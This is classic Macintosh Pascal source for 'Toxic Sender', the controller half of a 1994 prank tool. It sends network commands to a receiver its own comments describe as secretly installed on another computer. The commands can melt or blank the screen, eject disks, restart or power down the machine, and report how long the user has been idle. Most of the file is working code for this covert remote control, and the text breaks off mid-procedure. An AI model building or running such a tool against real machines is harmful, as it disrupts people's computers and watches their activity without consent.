Celestin Apprentice 2/Apprentice-Release2.iso/Source Code/Pascal/Utilities/Toxic Waste 1.8/Toxic Send Code/Sender.p

Text File | 1994-01-08 | 30.8 KB | 1,311 lines | [TEXT/PJMM]

program ToxicSender;

{TOXIC WASTE, version 1.8}
{By David Peck: [e-mail]}

{This program sends messages over a network to a recieving program (secretly installed on}
{the recieving computer) which causes the computer to do... very strange things... }

    uses
        Script, AppleEvents, dialogUses;

{---Begin PeckEvents Declarations---}

    const
        WNE_TRAP_NUM = $60;
        UNIMPLEMENTED_TRAP_NUM = $9F;
        MaxWind = 15;
        MaxMenu = 10;

        iSeconds = 1;
        iMinutes = 2;
        iHours = 3;
        iNone = 4;

        iMouse = 6;

        iCheckUsage = 8;
        iCheckQueue = 9;

        iQuit = 11;

    var
        gFileMenu, gWasteMenu: menuhandle;

    var
        dummy: boolean;
        aRecta: rect;
        windows: array[0..MaxWind] of WindowPtr;
        menus: array[0..MaxMenu] of MenuHandle;
        curNumWindows: integer;
        curNumMenus: integer;
        wantsToQuit: boolean;
        gWNEImplemented: boolean;
        hisApple: MenuHandle;
        currentWindow: integer;
        fstPtr: grafPtr;

{-----------COPY THE FOLLOWING ROUTINES AT THE FRONT OF YOUR PROGRAM---------}

    procedure peckInit (howMany: integer);
    forward;
    procedure peckQuit;
    forward;
    procedure peckNewWindow (var aWindow: windowPtr);
    forward;
    procedure peckKillWindow (var aWindow: windowPtr);
    forward;
    procedure peckNewMenu (var aMenu: menuHandle; disp: boolean);
    forward;
    procedure peckKillMenu (var aMenu: menuHandle);
    forward;
    procedure peckApple (aboutName: str255);
    forward;
    procedure peckMain;
    forward;
    procedure peckHalt;
    forward;

{THE ACTUAL PROGRAM}

    const
        sleepyTime = $FFFFFFFF;
        wakeUp = 0;

    type
        SessStat = (sessNotBegun, sessOpenPend, sessOpenDone, sessStartPend, sessStartDone, sessWritePend, sessWriteDone, sessRespPend, sessRespDone, sessEndPend, sessEndDone);
        AlertStat = (alertNotSent, alertSent, alertDone);

    const
{What kinds of things can you do?}
        MeltScreen = 1;
        BlankScreen = 2;
        InvertScreen = 3;
        RandomIcons = 4;

        Beep = 6;
        RandomBeep = 7;

        EjectDisks = 9;
        StartEject = 10;
        EndEject = 11;

        Restart = 13;
        PowerDown = 14;

        Message = 16;

    type

        delayMethod = (timeDelay, mouseDelay, activeMouseDelay);

        ElementInfo = record
                when: longint;
                method: delayMethod;
                what: integer;
                numTimes: integer;
                mess: Str255;
            end;
        ElementInfoArray = array[1..6] of ElementInfo;
        QInfo = record
                num: integer;
                els: ElementInfoArray;
            end;

        DataRecord = record
{Items for a message being SENT by Toxic Sender.}
                what: integer;            {What I actually want you to do}
                mess: Str255;
                numTimes: integer;    {For "Beep" and "Random Icons" message}
                isDelayed: boolean;    {Is this event a delayed event?}
                dMethod: delayMethod;    {Method of delaying the event}
                numSecs: longint;        {If it is delayed, how many seconds long?}
                usageCheck: boolean;    {TRUE if user wants to know if the Mac is being used}

{Items for a message being RECIEVED from Toxic Reciever.}
                notMovedSince: longint;{How long has it been since the user moved the mouse?}
                notQ: boolean;                {TRUE if the Toxic Reciever's Queue was full}
                QCheck: QInfo;                {Returned if user selected usageCheck to view Q data}
                                                            {THIS IS NOT A COMPLETE Q. If it was, there would be}
                                                            {an infinitely recursive data structure...}
            end;

        PDataHdl = ^PDataPtr;
        PDataPtr = ^PDataRec;
        PDataRec = record
                pblock: PPCParamBlockRec;
                port: PPCPortRec;
                location: LocationNameRec;
                user: Str32;
                portRef: integer;
                sessionRef: integer;
                buffer: DataRecord;
                err: OSErr;
                errMessage: Str255;
                sessionStatus: SessStat;
                alertStatus: AlertStat;
            end;

    var
        pdata: PDataPtr;
        pd: PDataPtr;
        g_quit: boolean;
        g_psn: ProcessSerialNumber;
        g_sleepTicks: longint;
        err: OSErr;
        tr: rect;

    procedure ______G_____;
    begin
    end;

    var
{Globals}
        gNextDelayed: boolean;                {is the next message a delay message}
        gDelayCheck: integer;                {Which delay method? iSeconds, iMinutes, or iHours}
        gNextMouse: boolean;                {True if MOUSE DELAY is checked}

        gDelaySecs: longint;                    {how long?}
        gNextUsage: boolean;                {is the next thing just a usage check?}
        gNextQueue: boolean;                {TRUE if it is a QUEUE usage check.}

    function AEOpenHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
    begin
        AEOpenHandler := errAEEventNotHandled;
    end;

    function AEOpenDocHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
    begin
        AEOpenDocHandler := errAEEventNotHandled;
    end;

    function AEQuitHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
        var
            err: OSErr;
    begin
        wantsToQuit := true;
        err := WakeUpProcess(g_PSN);
        AEQuitHandler := noErr;
    end;

    function AEPrintHandler (var messageIn: AppleEvent; var reply: AppleEvent; refIn: longint): OSErr;
    begin
        AEPrintHandler := errAEEventNotHandled;
    end;

    procedure InitAEStuff;
        var
            e: OSErr;
    begin
        e := AEInstallEventHandler(kCoreEventClass, kAEOpenApplication, @AEOpenHandler, 0, false);
        e := AEInstallEventHandler(kCoreEventClass, kAEOpenDocuments, @AEOpenDocHandler, 0, false);
        e := AEInstallEventHandler(kCoreEventClass, kAEQuitApplication, @AEQuitHandler, 0, false);
        e := AEInstallEventHandler(kCoreEventClass, kAEPrintDocuments, @AEPrintHandler, 0, false);
    end;

    procedure Quit;
        var
            err: OSErr;
            pr: PPCParamBlockPtr;

    begin
        pr := PPCParamBlockPtr(pd);

        if (pd^.sessionRef <> 0) then
            begin
                pr^.endParam.ioCompletion := nil;
                err := PPCEnd(@pr^.endParam, true);
            end;
        if (pd^.portRef <> 0) then
            begin
                pr^.closeParam.ioCompletion := nil;
                pr^.closeParam.portRefNum := pd^.portRef;
                err := PPCClose(@pr^.closeParam, false);
            end;
    end;

    procedure StartDone (pb: PPCParamBlockPtr);
    begin
        PDataPtr(pb)^.sessionStatus := sessStartDone;
        PDataPtr(pb)^.err := pb^.startParam.ioResult;
{PDataPtr(pb)^.sessionRef := pb^.startParam.sessRefNum;}
    end;

    procedure DoStart (pd: PDataPtr);
        var
            pb: PPCParamBlockPtr;
    begin
        pb := @pd^.pblock;

        pb^.startParam.ioCompletion := @StartDone;
        pb^.startParam.portRefNum := pd^.portRef;
        pb^.startParam.serviceType := ppcServiceRealTime;
        pb^.startParam.resFlag := 0;
        pb^.startParam.portName := @pd^.port;
        pb^.startParam.locationName := @pd^.location;
        pb^.startParam.userData := 0;
        pb^.startParam.userRefNum := 0;

        pd^.sessionStatus := sessStartPend;
        pd^.err := PPCStart(@pb^.startParam, true);
    end;

    procedure WriteDone (pb: PPCParamBlockPtr);
    begin
        PDataPtr(pb)^.sessionStatus := sessWriteDone;
        PDataPtr(pb)^.err := pb^.writeParam.ioResult;
    end;

    procedure DoWrite (pd: PDataPtr);
        var
            pb: PPCParamBlockPtr;
    begin
        pb := @pd^.pblock;

        pd^.sessionStatus := sessWritePend;

        with pb^.writeParam do
            begin
                ioCompletion := @WriteDone;
                bufferLength := SizeOf(pd^.buffer);
                bufferPtr := @pd^.buffer;
                more := false;
                userData := 0;
                blockCreator := 'BIOZ';
                blockType := 'INFO';
            end;

        PDataPtr(pb)^.err := PPCWrite(PPCWritePBPtr(pb), true);
    end;

    function PortFilter (loc: LocationNamePtr; port: PortInfoPtr): boolean;
    begin
        PortFilter := (port^.name.portType = 'RECV');
    end;

    procedure SendAlert (pd: PDataPtr; choice, num: integer; m: Str255);
        var
            pb: PPCParamBlockPtr;
            err: OSErr;
            dPort: PortInfoRec;
            dLoc: LocationNameRec;
            tempStr: Str255;
    begin
        pb := @pd^.pblock;

        dPort.name.nameScript := smRoman;
        dPort.name.name := 'Message Reciever';
        dPort.name.portKindSelector := ppcByCreatorAndType;
        dPort.name.portCreator := 'CHAT';
        dPort.name.portType := 'RECV';
        dLoc.locationKindSelector := ppcNoLocation;
        err := PPCBrowser('Choose a chatter box:', 'Chatter Boxes:', true, dloc, dport, @PortFilter, '');

        if err = noErr then
            begin
                pd^.port := dPort.name;
                pd^.location := dLoc;

                pd^.buffer.what := choice;
                pd^.buffer.mess := m;
                pd^.buffer.numTimes := num;
                pd^.buffer.numSecs := gDelaySecs;
                pd^.buffer.usageCheck := gNextUsage;
                pd^.buffer.isDelayed := gNextDelayed;
                if gNextMouse then
                    pd^.buffer.dMethod := mouseDelay
                else
                    pd^.buffer.dMethod := timeDelay;

                DoStart(pd);
            end;
    end;

    procedure EndDone (pb: PPCParamBlockPtr);
    begin
        PDataPtr(pb)^.sessionStatus := sessEndDone;
    end;

    procedure DoEnd (pd: PDataPtr);
        var
            pb: PPCParamBlockPtr;
            err: OSErr;
    begin
        pb := @pd^.pblock;

        pd^.sessionStatus := sessEndPend;
        pb^.endParam.ioCompletion := @EndDone;

        err := PPCEnd(PPCEndPBPtr(pb), true);
    end;

    function stringOfInteger (anInteger: integer; leadingZeros: boolean): str255;
        var
            ones, tens, hundreds, thousands, tenthousands: char;
            result: integer;
            where: integer;
            alReady: boolean;
            soi: str255;
    begin
        soi := '     ';
        if abs(anInteger) > 9999 then
            tenThousands := char((abs(anInteger) div 10000) + 48)
        else
            tenThousands := '0';
        result := abs(anInteger) mod 10000;
        if abs(anInteger) > 999 then
            thousands := char((result div 1000) + 48)
        else
            thousands := '0';
        result := result mod 1000;
        if abs(anInteger) > 99 then
            hundreds := char((result div 100) + 48)
        else
            hundreds := '0';
        result := result mod 100;
        if abs(anInteger) > 9 then
            tens := char((result div 10) + 48)
        else
            tens := '0';
        ones := char((result mod 10) + 48);
        alReady := false;
        where := 1;
        soi := '';
        if anInteger < 0 then
            soi := concat(soi, '-');
        if ((not leadingZeros) and (tenThousands <> '0')) or (leadingZeros) then
            begin
                soi := concat(soi, tenThousands);
                alReady := true;
            end;
        if ((not leadingZeros) and (thousands <> '0')) or (leadingZeros) or alReady then
            begin
                soi := concat(soi, thousands);
                alReady := true;
            end;
        if ((not leadingZeros) and (hundreds <> '0')) or (leadingZeros) or alReady then
            begin
                soi := concat(soi, hundreds);
                alReady := true;
            end;
        if ((not leadingZeros) and (tens <> '0')) or (leadingZeros) or alReady then
            soi := concat(soi, tens);
        soi := concat(soi, ones);
        stringOfInteger := soi;
    end;

    procedure WriteMethod (m: delayMethod);
    begin
        if m = timeDelay then
            write('     Time Delay')
        else if m = mouseDelay then
            write('     Mouse Delay')
        else
            write('     Active Mouse Delay');
    end;

    procedure ResponseDone (pb: PPCParamBlockPtr);        {Done}
        var
            as, tstr: Str255;
            count: integer;
    begin
        PDataPtr(pb)^.sessionStatus := sessRespDone;

        if gNextDelayed then
            if pd^.buffer.notQ then
                begin
                    ParamText('Too Many Queue Elements!', '', '', '');
                    StandardDialogDo(128);
                end;

        if gNextQueue then
            begin
                ShowText;
                writeln('Current Queue Status:');
                writeln;
                for count := 1 to pd^.buffer.QCheck.num do
                    begin
                        IUTimeString(pd^.buffer.QCheck.els[count].when, true, tstr);
                        case pd^.buffer.QCheck.els[count].what of
                            Message:
                                begin
                                    write('Message            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            MeltScreen:
                                begin
                                    write('Melt Screen            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            BlankScreen:
                                begin
                                    write('Blank Screen            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            InvertScreen:
                                begin
                                    write('Invert Screen            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            RandomIcons:
                                begin
                                    write('Random Icons    - ', pd^.buffer.QCheck.els[count].numTimes : 1);
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;

                            Beep:
                                begin
                                    write('Beep    - ', pd^.buffer.QCheck.els[count].numTimes : 1);
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            RandomBeep:
                                begin
                                    write('Random Beep    - ', pd^.buffer.QCheck.els[count].numTimes : 1);
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;

                            EjectDisks:
                                begin
                                    write('Eject Disks            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            StartEject:
                                begin
                                    write('Start Ejects            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            EndEject:
                                begin
                                    write('End Ejects            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;

                            Restart:
                                begin
                                    write('Restart            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                            PowerDown:
                                begin
                                    write('Power Down            ');
                                    WriteMethod(pd^.buffer.QCheck.els[count].method);
                                    writeln;
                                    writeln('      ', tstr);
                                end;
                        end;    {case}
                    end;    {for}

                while not button do
                    ;
                HideAll;

                gNextQueue := false;
                gNextUsage := false;
            end;

        if gNextUsage then
            begin
                as := Concat('Mouse was moved this many seconds ago: ', StringOfInteger(pd^.buffer.notMovedSince, false));
                ParamText(as, '', '', '');
                StandardDialogDo(128);
                gNextUsage := false;
            end;

        PDataPtr(pb)^.err := pb^.readParam.ioResult;
    end;

    procedure DoResponse (pd: PDataPtr);        {Done}
        var
            pb: PPCParamBlockPtr;
    begin
        pb := @pd^.pblock;

        pd^.sessionStatus := sessRespPend;

        pb^.readParam.ioCompletion := @ResponseDone;
        pb^.readParam.bufferLength := SizeOf(pd^.buffer);
        pb^.readParam.bufferPtr := @pd^.buffer;

        pd^.err := PPCRead(PPCReadPBPtr(pb), true);
    end;

    procedure DoAlert (pd: PDataPtr);
        var
            pb: PPCParamBlockPtr;
            err: OSErr;
            str: Ptr;
    begin
        pb := @pd^.pBlock;

        writeln(pb^.readParam.bufferPtr^);
        pd^.alertStatus := alertSent;
    end;

    procedure OpenDone (pb: PPCParamBlockPtr);
    begin
        PDataPtr(pb)^.sessionStatus := sessOpenDone;
        PDataPtr(pb)^.err := pb^.openParam.ioResult;
        PDataPtr(pb)^.portRef := PDataPtr(pb)^.pBlock.openParam.portRefNum;
    end;

    procedure DoOpen (pd: PDataPtr);        {Done}
        var
            pb: PPCParamBlockPtr;
    begin
        pb := @pd^.pBlock;

        pd^.port.nameScript := smRoman;
        pd^.port.name := 'Message Sender';
        pd^.port.portKindSelector := ppcByCreatorAndType;
        pd^.port.portCreator := 'BIOZ';
        pd^.port.portType := 'BIOZ';

        pd^.location.locationKindSelector := ppcNBPTypeLocation;
        pd^.location.nbpType := 'Message Sender';

        pb^.openParam.ioCompletion := @OpenDone;
        pb^.openParam.serviceType := ppcServiceRealTime;
        pb^.openParam.resFlag := 0;
        pb^.openParam.portName := @pd^.port;
        pb^.openParam.locationName := @pd^.location;
        pb^.openParam.networkVisible := true;

        pd^.sessionStatus := sessOpenPend;
        pd^.err := PPCOpen(@pb^.openParam, true);
    end;

    procedure InitPData (var pd: PDataPtr);
    begin
        pd := PDataPtr(NewPtrClear(sizeOf(PDataRec)));
        pd^.user := '';
        pd^.portRef := 0;
        pd^.sessionRef := 0;
        pd^.buffer.numTimes := 0;
        pd^.buffer.what := 0;
        pd^.err := noErr;
        pd^.errMessage := '';
        pd^.sessionStatus := sessNotBegun;
        pd^.alertStatus := alertNotSent;
    end;

{-------------------MAIN EVENT DOING CODE GOES HERE-------------------------}

    function integerOfString (theS: str255): integer;
        var
            count: integer;
            tempInt: integer;
            ml: integer;
            start: integer;
    begin
        ml := length(theS);
        if ml > 5 then
            ml := 5;
        integerOfString := 0;
        tempInt := 0;
        if theS[1] = '-' then
            start := 2
        else
            start := 1;
        for count := start to ml do
            begin
                if theS[count] <> ' ' then
                    begin
                        tempInt := tempInt * 10;
                        tempInt := tempInt + (ord(theS[count]) - 48);
                    end;
            end;
        if theS[1] = '-' then
            tempInt := -tempInt;
        integerOfString := tempInt;
    end;

    procedure GetTimes (what: integer; var times: integer);
        var
            tDlog: DialogPtr;
            itemHit: integer;
            item: Handle;
            a: integer;
            b: rect;
            tlText: str255;
    begin
        if what = Beep then
            ParamText('How many beeps?', '', '', '')
        else if what = RandomIcons then
            ParamText('How many icons?', '', '', '')
        else
            ParamText('How many random beeps?', '', '', '');

        tDlog := GetNewDialog(129, nil, WindowPtr(-1));
        ShowWindow(tDlog);
        SetPort(tDlog);

        SelIText(tDlog, 2, 0, MAXINT);

        repeat
            ModalDialog(nil, itemHit);
        until itemHit = 1;

        GetDItem(tDlog, 2, a, item, b);
        GetIText(item, tlText);
        if length(tlText) < 5 then
            times := IntegerOfString(tlText);

        DisposDialog(tDlog);
    end;

    procedure GetMessage (var m: Str255);
        var
            tDlog: DialogPtr;
            itemHit: integer;
            item: Handle;
            a: integer;
            b: rect;
            tlText: str255;
    begin
        tDlog := GetNewDialog(130, nil, WindowPtr(-1));
        ShowWindow(tDlog);
        SetPort(tDlog);

        SelIText(tDlog, 2, 0, MAXINT);

        repeat
            ModalDialog(nil, itemHit);
        until itemHit = 1;

        GetDItem(tDlog, 2, a, item, b);
        GetIText(item, m);

        DisposDialog(tDlog);
    end;

    procedure Seconds;
        var
            tDlog: DialogPtr;
            itemHit: integer;
            item: Handle;
            a: integer;
            b: rect;
            tlText: str255;
            times: integer;
    begin
        gNextDelayed := true;
        ParamText('How many seconds delay?', '', '', '');
        tDlog := GetNewDialog(129, nil, WindowPtr(-1));
        ShowWindow(tDlog);
        SetPort(tDlog);

        SelIText(tDlog, 2, 0, MAXINT);

        repeat
            ModalDialog(nil, itemHit);
        until itemHit = 1;

        GetDItem(tDlog, 2, a, item, b);
        GetIText(item, tlText);
        if length(tlText) < 5 then
            times := IntegerOfString(tlText);

        gDelaySecs := longint(times);

        DisposDialog(tDlog);
    end;

    procedure Minutes;
        var
            tDlog: DialogPtr;
            itemHit: integer;
            item: Handle;
            a: integer;
            b: rect;
            tlText: str255;
            times: integer;
    begin
        gNextDelayed := true;
        ParamText('How many minutes delay?', '', '', '');
        tDlog := GetNewDialog(129, nil, WindowPtr(-1));
        ShowWindow(tDlog);
        SetPort(tDlog);

        SelIText(tDlog, 2, 0, MAXINT);

        repeat
            ModalDialog(nil, itemHit);
        until itemHit = 1;

        GetDItem(tDlog, 2, a, item, b);
        GetIText(item, tlText);
        if length(tlText) < 5 then
            times := IntegerOfString(tlText);

        gDelaySecs := longint(times * 60);

        DisposDialog(tDlog);
    end;

    procedure Hours;
        var
            tDlog: DialogPtr;
            itemHit: integer;
            item: Handle;
            a: integer;
            b: rect;
            tlText: str255;
            times: integer;
    begin
        gNextDelayed := true;
        ParamText('How many hours delay?', '', '', '');
        tDlog := GetNewDialog(129, nil, WindowPtr(-1));
        ShowWindow(tDlog);
        SetPort(tDlog);

        SelIText(tDlog, 2, 0, MAXINT);

        repeat
            ModalDialog(nil, itemHit);
        until itemHit = 1;

        GetDItem(tDlog, 2, a, item, b);
        GetIText(item, tlText);
        if length(tlText) < 5 then
            times := IntegerOfString(tlText);

        gDelaySecs := longint(times * 60 * 60);

        DisposDialog(tDlog);
    end;

    procedure UsageCheck;
    begin
        if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
            begin
                gNextUsage := true;
                SendAlert(pd, 1, 1, '');
            end
        else
            SysBeep(10);             {Not ready to send messages yet...}
    end;

    procedure UpdateMenus;
        var
            cnt: integer;
    begin
        for cnt := 1 to 4 do
            CheckItem(gFileMenu, cnt, false);
        if gNextDelayed then
            CheckItem(gFileMenu, gDelayCheck, true)
        else
            CheckItem(gFileMenu, iNone, true);
        CheckItem(gFileMenu, iMouse, gNextMouse);
    end;

    procedure QueueCheck;
    begin
        if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
            begin
                gNextUsage := true;
                gNextQueue := true;
                SendAlert(pd, 1, 1, '');
            end
        else
            SysBeep(10);             {Not ready to send messages yet...}
    end;

    procedure doEveryTime;
    begin
        if pd^.sessionStatus = sessStartDone then
            DoWrite(pd)
        else if pd^.sessionStatus = sessWriteDone then
            DoResponse(pd)
        else if pd^.sessionStatus = sessRespDone then
            DoEnd(pd);
    end;

    procedure doMenu (theMenu: menuHandle; theItem: integer);
        var
            times: integer;
            theMessage: Str255;
    begin
        if theMenu = gFileMenu then
            case theItem of
                iSeconds:
                    if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
                        begin
                            Seconds;
                            gDelayCheck := theItem;
                        end;
                iMinutes:
                    if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
                        begin
                            Minutes;
                            gDelayCheck := theItem;
                        end;
                iHours:
                    if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
                        begin
                            Hours;
                            gDelayCheck := theItem;
                        end;
                iNone:
                    if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
                        gNextDelayed := false;

                iMouse:
                    if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
                        gNextMouse := not gNextMouse;

                iCheckUsage:
                    UsageCheck;
                iCheckQueue:
                    QueueCheck;

                iQuit:
                    PeckQuit;
            end
        else if (pd^.sessionStatus = sessOpenDone) or (pd^.sessionStatus = sessEndDone) then
            begin
                if (theItem = beep) or (theItem = randomicons) or (theItem = randombeep) then
                    GetTimes(theItem, times);
                if (theItem = Message) then
                    GetMessage(theMessage);
                SendAlert(pd, theItem, times, theMessage);
            end
        else
            SysBeep(10);            {Not ready to do anything yet...}
    end;

    procedure doMouseDown (theWindow: windowPtr; where: point; when: longint; mods: integer);
    begin
    end;

    procedure doKeyDown (theWindow: windowPtr; theKey: char; mods: integer);
    begin
    end;

    procedure doCloseWindow (theWindow: windowPtr);
    begin
    end;

    procedure doAbout;
    begin
        ParamText('Super Typer, Version 1.7.                By David Peck:             [e-mail]', '', '', '');
        StandardDialogDo(128);
    end;

    procedure doUpdate (theWindow: windowPtr; resized: boolean);
    begin
    end;

    procedure doIdle (theWindow: windowPtr);
    begin
    end;

    procedure doKillMenu (theMenu: menuHandle);
    begin
    end;

    procedure doActivate (theWindow: windowPtr);
    begin
    end;

{------------------------- Peck Event Main Routines -------------------------------}

    procedure peckInit (howMany: integer);
        var
            counter: integer;
    begin
        for counter := 1 to howMany do                        {Get enough pointer/heap memory}
            moreMasters;
        getPort(fstPtr);
        curNumWindows := 0;                                    {Initalize These Variables}
        curNumMenus := 0;
        wantsToQuit := false;
        currentWindow := 0;
        for counter := 0 to MaxWind do                                {Clear window array}
            windows[counter] := nil;
        for counter := 0 to MaxMenu do                                {Clear menu array}
            menus[counter] := nil;
        initCursor;                                                {Arrow Cursor}
    end;

    procedure peckQuit;
    begin
        wantsToQuit := true;                {Will halt execution next time main peckEvents gets called}
    end;

    procedure peckNewWindow (var aWindow: windowPtr);
    begin
        curNumWindows := curNumWindows + 1;
        if curNumWindows > MaxWind then
            curNumWindows := MaxWind
        else
            begin
                windows[curNumWindows] := aWindow;
                setPort(aWindow);
                currentWindow := curNumWindows;
            end;
    end;

    function findAWindow (wFind: windowPtr): integer;
        var
            winSearchCount: integer;
    begin
        winSearchCount := 1;
        while (windows[winSearchCount] <> wFind) and (winSearchCount < curNumWindows) do
            winSearchCount := winSearchCount + 1;
        if winSearchCount <= curNumWindows then
            findAWindow := winSearchCount
        else
            findAWindow := 0;
    end;

    procedure peckKillWindow (var aWindow: windowPtr);
        var
            recordNum: integer;
            wKcounter: integer;
    begin
        recordNum := findAWindow(aWindow);                {Search array for the window}
        doCloseWindow(windows[recordNum]);
        if recordNum > 0 then
            begin
                curNumWindows := curNumWindows - 1;
                if curNumWindows > 0 then
                    begin
                        for wKcounter := recordNum to curNumWindows do            {Fix List}
                            windows[wKcounter] := windows[wKcounter + 1];
                        windows[curNumWindows + 1] := nil;
                        setPort(windows[1]);
                    end
                else
                    setPort(fstPtr);                                                    {Whatever it was before}
            end;
    end;

    procedure peckNewMenu (var aMenu: menuHandle; disp: boolean);
    begin
        curNumMenus := curNumMenus + 1;
        if curNumMenus > MaxMenu then
            curNumMenus := MaxMenu
        else
            begin
                menus[curNumMenus] := aMenu;
                insertMenu(menus[curNumMenus], 0);
            end;
        if disp then
            drawMenuBar;
    end;

    function findMenu (mFind: menuHandle): integer;
        var
            menSearchCount: integer;
    begin
        menSearchCount := 1;
        while (menus[menSearchCount] <> mFind) and (menSearchCount <= curNumMenus) do
            menSearchCount := menSearchCount + 1;
        if menSearchCount <= curNumMenus then
            findMenu := menSearchCount
        else
            findMenu := 0;
    end;

    function findMenuByID (mFind: integer): integer;
        var
            msc: integer;
    begin
        msc := 1;
        while (menus[msc]^^.menuID <> mFind) and (msc <= curNumMenus) do
            msc := msc + 1;
        if msc <= curNumMenus then
            findMenuByID := msc
        else
            findMenuByID := 0;
    end;

    procedure peckKillMenu (var aMenu: menuHandle);
        var
            recordNum: integer;
            wKcounter: integer;
    begin
        recordNum := findMenu(aMenu);                    {Search array for the menu}
        if recordNum > 0 then
            begin
                doKillMenu(menus[recordNum]);
                curNumMenus := curNumMenus - 1;
                if curNumMenus > 0 then
                    begin
                        for wKcounter := recordNum to curNumMenus do            {Fix List}
                            menus[wKcounter] := menus[wKcounter + 1];
                        menus[curNumMenus + 1] := nil;
                    end;
            end;
    end;

    procedure appleSelect (theItem: integer);
    begin
        doAbout;
    end;

    procedure peckApple (aboutName: str255);
        var
            appleTitle: Str255;
            appleID: integer;
            dummy: boolean;
    begin
        appleTitle := ' ';
        appleTitle[1] := char($14);
        appleID := 1;
        hisApple := NewMenu(appleID, appleTitle);
        appendMenu(hisApple, aboutName);
        appendMenu(hisApple, '(-');
        addResMenu(hisApple, 'DRVR');
        peckNewMenu(hisApple, false);
    end;

    procedure doEvent (theEvent: eventRecord);
        var
            evnWhat: integer;
            wCIn: windowPtr;
            winNum: integer;
            resultCode: integer;
            aBrect: rect;
            theSize: longint;
            menuID, item: integer;
            menNum: integer;
            wCntr: integer;
            evnChar: char;
            evnMods: integer;
            itemName: str255;
            oldPort: grafPtr;
            aDummy: integer;
            isActive: boolean;

{The following 2 lines are added for Toxic Sender}
            tmn: boolean;
            tev: EventRecord;
    begin
        evnWhat := theEvent.what;

        if evnWhat = nullEvent then
            if currentWindow > 0 then
                for wCntr := 1 to curNumWindows do
                    doIdle(windows[wCntr]);

        if evnWhat = mouseDown then
            begin
                resultCode := findWindow(theEvent.where, wCIn);

                if resultCode = inContent then
                    begin
                        winNum := findAWindow(wCIn);
                        if currentWindow <> winNum then
                            begin                                            {Make sure it was current wind}
                                setPort(wCIn);    {Set it to the wind it was clicked}
                                currentWindow := winNum;                    {In!}
                                selectWindow(wCIn);
                            end
                        else
                            begin
                                globalToLocal(theEvent.where);
                                if winNum > 0 then
                                    doMouseDown(windows[winNum], theEvent.where, theEvent.when, theEvent.modifiers);
                            end;
                    end;

                if resultCode = inDrag then
                    begin
                        aBrect := screenBits.bounds;
                        dragWindow(wCIn, theEvent.where, aBrect);
                        setPort(wCIn);
                        selectWindow(wCIn);
                    end;

                if resultCode = inSysWindow then
                    systemClick(theEvent, wCIn);

                if resultCode = inGoAway then
                    if trackGoAway(wCIn, theEvent.where) then
                        peckKillWindow(wCIn);

                if resultCode = inGrow then
                    begin
                        aBrect := screenBits.bounds;
                        setPort(wCIn);
                        theSize := growWindow(wCIn, theEvent.where, aBrect);
                        sizeWindow(wCIn, loWord(theSize), hiWord(theSize), true);
                        eraseRect(wCIn^.portRect);
                        drawGrowIcon(wCIn);
                        winNum := findAWindow(wCIn);
                        doUpdate(windows[winNum], true)
                    end;

                if (resultCode = inZoomIn) or (resultCode = inZoomOut) then
                    begin
                        winNum := findAWindow(wCIn);
                        setPort(wCIn);
                        zoomWindow(wCIn, resultCode, true);
                        eraseRect(wCIn^.portRect);
                        doUpdate(windows[winNum], true)
                    end;

                if resultCode = inMenuBar then
                    begin
{The following 3 lines are added specifically for Toxic Sender.}
                        UpdateMenus;
                        tmn := GetNextEvent(everyEvent, tev);
                        SystemTask;

                        theSize := menuSelect(theEvent.where);
                        hiliteMenu(0);
                        menuID := hiWord(theSize);
                        if menuID <> 0 then
                            begin
                                item := loWord(theSize);
                                menNum := findMenuByID(menuID);
                                if (menNum <> 1) then
                                    doMenu(menus[menNum], item)
                                else if item = 1 then
                                    doAbout
                                else
                                    begin
                                        getItem(menus[menNum], item, itemName);
                                        aDummy := openDeskAcc(itemName);
                                        setPort(windows[currentWindow]);
                                    end;
                            end;
                    end;
            end;

        if evnWhat = updateEvt then
            begin
                getPort(oldPort);
                setPort(windowPtr(theEvent.message));
                beginUpdate(windowPtr(theEvent.message));
                winNum := findAWindow(windowPtr(theEvent.message));
                if winNum > 0 then
                    doUpdate(windowPtr(theEvent.message), false);
                endUpdate(windowPtr(theEvent.message));
                setPort(oldPort);
            end;

        if evnWhat = activateEvt then
            begin
                isActive := (BitAnd(theEvent.modifiers, activeFlag) <> 0);
                if isActive then
                    begin
                        wCIn := windowPtr(theEvent.message);
                        winNum := findAWindow(wCIn);
                        setPort(wCIn);
                        selectWindow(wCIn);
                        doActivate(wCIn);
                    end;
                currentWindow := winNum;
            end;

        if evnWhat = keyDown then
            begin
                evnChar := char(BitAnd(theEvent.message, charCodeMask));
                evnMods := theEvent.modifiers;
                if BitAnd(evnMods, cmdKey) > 0 then
                    begin
